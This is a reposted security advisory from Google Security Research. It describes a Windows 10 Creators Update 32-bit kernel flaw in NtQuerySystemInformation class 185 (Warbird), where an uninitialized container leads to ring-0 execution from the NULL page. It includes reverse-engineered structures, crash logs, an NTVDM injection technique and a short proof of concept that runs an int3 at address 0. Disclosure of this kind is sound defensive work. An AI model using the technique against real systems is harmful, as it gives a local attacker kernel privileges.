what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows 10 Creators Update 32-bit Ring-0 Code Execution

Microsoft Windows 10 Creators Update 32-bit Ring-0 Code Execution
Posted Oct 30, 2017
Authored by Google Security Research, mjurczyk

Microsoft Windows 10 Creators Update suffers from a 32-bit execution of ring-0 code from NULL page via NtQuerySystemInformation (class 185, Warbird functionality).

tags | advisory
systems | windows
SHA-256 | c9dba87848ba8309e2ef635f11fc4bb02d9040930b2591370ea21e0a1a27b79f

Microsoft Windows 10 Creators Update 32-bit Ring-0 Code Execution

Change Mirror Download
Windows 10 Creators Update 32-bit execution of ring-0 code from NULL page via NtQuerySystemInformation (class 185, Warbird functionality) 

In Windows 10 Creators Update (version 1703), a new information class 185 was introduced to the NtQuerySystemInformation system call, which is handled by the internal nt!WbDispatchOperation function. Non-privileged users in the system can freely trigger it. The routine supports a number of different operations (WbDecryptEncryptionSegment, WbReEncryptEncryptionSegment, WbHeapExecuteCall and so on), but before any of them are performed, nt!WbGetWarbirdProcess is called to acquire the so-called warbird process.

Under the hood, the function operates on a global nt!g_warbirdExtension structure of type WARBIRD_EXTENSION, which has been reverse-engineered to the following layout:

--- cut ---
00000000 _WARBIRD_EXTENSION struc ; (sizeof=0x18)
00000000 elem_size dd ?
00000004 count dd ?
00000008 capacity dd ?
0000000C dataptr dd ?
00000010 realloc_delta dd ?
00000014 cmp_func dd ?
00000018 _WARBIRD_EXTENSION ends
--- cut ---

In other words, it's a simple dynamically-sized container with an associated comparator function. The container is operated on by functions such as nt!WbAddLookupEntry, nt!WbRemoveLookupEntry and nt!WbFindLookupEntry, all of which assume that the structure has been successfully initialized.

Its initialization is performed in nt!WbInitialize (<--- nt!ClipInitHandles <--- nt!ExInitLicenseData <--- nt!Phase1InitializationIoReady <--- nt!Phase1Initialization <--- ...), but only if the nt!WbGetServiceDescriptorIndex call succeeds first. The purpose of nt!WbGetServiceDescriptorIndex is to locate the index of the NtQuerySystemInformation entry in the system call table, as shown in the pseudo-code below:

--- cut ---
v2 = 0;
v3 = -1;
v4 = 0;
if ( KiServiceLimit )
{
v5 = KeServiceDescriptorTable;
while ( (KeServiceDescriptorTable + (*(v5 + 4 * v4) >> 4)) != NtQuerySystemInformation )
{
v5 = KeServiceDescriptorTable;
if ( ++v4 >= KiServiceLimit )
goto label_return;
}
v3 = v4;
}
label_return:
if ( a2 )
*a2 = v3;
if ( v3 == -1 )
v2 = STATUS_NO_MATCH;
--- cut ---

Strangely enough, the implementation of the function is exactly the same on x86 and x64 builds of the system, even though the syscall tables have different binary formats. On x86, it is a simple list of direct function addresses, while on x64 it's a list of offsets relative to nt!KeServiceDescriptorTable and shifted by 4 bits to the left. As a result, the function simply fails to locate the NtQuerySystemInformation address on 32-bit builds, thus leaving the nt!g_warbirdExtension structure uninitialized (filled with zeros).

When a user-mode program calls NtQuerySystemInformation(185, ...) to trigger operations on the zero-ed out container, internal functions will attempt to dereference NULL pointers, as shown in the example below:

--- cut ---
KMODE_EXCEPTION_NOT_HANDLED (1e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 816d42cc, The address that the exception occurred at
Arg3: 00000001, Parameter 0 of the exception
Arg4: 00000000, Parameter 1 of the exception

[...]

TRAP_FRAME: 8d03b5c0 -- (.trap 0xffffffff8d03b5c0)
ErrCode = 00000002
eax=00000000 ebx=00000000 ecx=ca5f0f70 edx=00000000 esi=8141d700 edi=00000000
eip=816d42cc esp=8d03b634 ebp=8d03b644 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
nt!WbAddLookupEntryEx+0x82:
816d42cc 8908 mov dword ptr [eax],ecx ds:0023:00000000=????????
Resetting default scope

LAST_CONTROL_TRANSFER: from 81398dad to 81319c34

STACK_TEXT:
8d03ab14 81398dad 00000003 6139b020 00000065 nt!RtlpBreakWithStatusInstruction
8d03ab68 813987f5 847cb340 8d03af88 8d03afbc nt!KiBugCheckDebugBreak+0x1f
8d03af5c 81318aba 0000001e c0000005 816d42cc nt!KeBugCheck2+0x739
8d03af80 813189f1 0000001e c0000005 816d42cc nt!KiBugCheck2+0xc6
8d03afa0 813c8ab4 0000001e c0000005 816d42cc nt!KeBugCheckEx+0x19
8d03afbc 8132e772 8d03b4e8 81434168 8d03b0b0 nt!KiFatalExceptionHandler+0x1a
8d03afe0 8132e744 8d03b4e8 81434168 8d03b0b0 nt!ExecuteHandler2+0x26
8d03b0a0 812a0540 8d03b4e8 8d03b0b0 00010037 nt!ExecuteHandler+0x24
8d03b4cc 8132a155 8d03b4e8 00000000 8d03b5c0 nt!KiDispatchException+0x228
8d03b538 8132ca57 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51
8d03b538 816d42cc 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
8d03b644 816d4244 8d03b670 00000000 00000000 nt!WbAddLookupEntryEx+0x82
8d03b65c 816d2242 ca5f0f70 00001498 00000004 nt!WbAddLookupEntry+0x32
8d03b68c 816d2596 ca9a0ff8 00000000 00000001 nt!WbAddWarbirdProcess+0x20
8d03b6a8 816d1c65 8d03b6e0 6139adb4 00000008 nt!WbGetWarbirdProcess+0xf9
8d03b6fc 815a781d 6139a0ac 000000b9 00d6fa3c nt!WbDispatchOperation+0xe1
8d03bbe4 8146d16a 00000000 00d6fb18 00000008 nt!ExpQuerySystemInformation+0x13a66f
8d03bbfc 81329397 000000b9 00d6fb18 00000008 nt!NtQuerySystemInformation+0x40
8d03bbfc 770c4350 000000b9 00d6fb18 00000008 nt!KiSystemServicePostCall
[...]
--- cut ---

If NTVDM (support for legacy 16-bit programs) is enabled in the system, the NTVDM.EXE process will have the NULL page mapped. If we spawn a 16-bit application (e.g. debug.exe) and inject our exploit into ntvdm, we can prevent the system from instantly crashing when trying to write to address 0 in nt!WbAddLookupEntryEx. Then, upon a second call to NtQuerySystemInformation(185, ...), the nt!WbFindLookupEntry function will believe that nt!g_warbirdExtension has a positive number of elements (since one has already been added), and will thus invoke the comparator function specified in nt!g_warbirdExtension.cmp_func. In the case of uninitialized nt!g_warbirdExtension on 32-bit platforms, this will simply result in transferring kernel code execution to address 0x00000000, where we can easily map our shellcode.

An example proof-of-concept code to be injected into the ntvdm process is as follows:

--- cut ---
BYTE Buffer[8];
DWORD BytesReturned;

RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);

RtlCopyMemory(NULL, "\xcc", 1);

RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
--- cut ---

The result of running this code is shown below in the form of a WinDbg output log, which demonstrates the execution of the controlled int3 instruction (0xcc byte) at address 0:

--- cut ---
1: kd> g
Break instruction exception - code 80000003 (first chance)
00000000 cc int 3

0: kd> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 d99a8638 813acb5f 0x0
01 d99a8660 8128186c nt!WbFindLookupEntry+0x12b2e1
02 d99a8688 814d04fe nt!WbFindWarbirdProcess+0x26
03 d99a86a8 814cfc65 nt!WbGetWarbirdProcess+0x61
04 d99a86fc 813a581d nt!WbDispatchOperation+0xe1
05 d99a8be4 8126b16a nt!ExpQuerySystemInformation+0x13a66f
06 d99a8bfc 81127397 nt!NtQuerySystemInformation+0x40
07 d99a8bfc 772b4350 nt!KiSystemServicePostCall
--- cut ---

A local attacker could exploit the issue to execute arbitrary code with kernel privileges. As far as we've tested, it is only exploitable on Windows 10 Creators Update 32-bit with NTVDM enabled.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.



Found by: mjurczyk
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close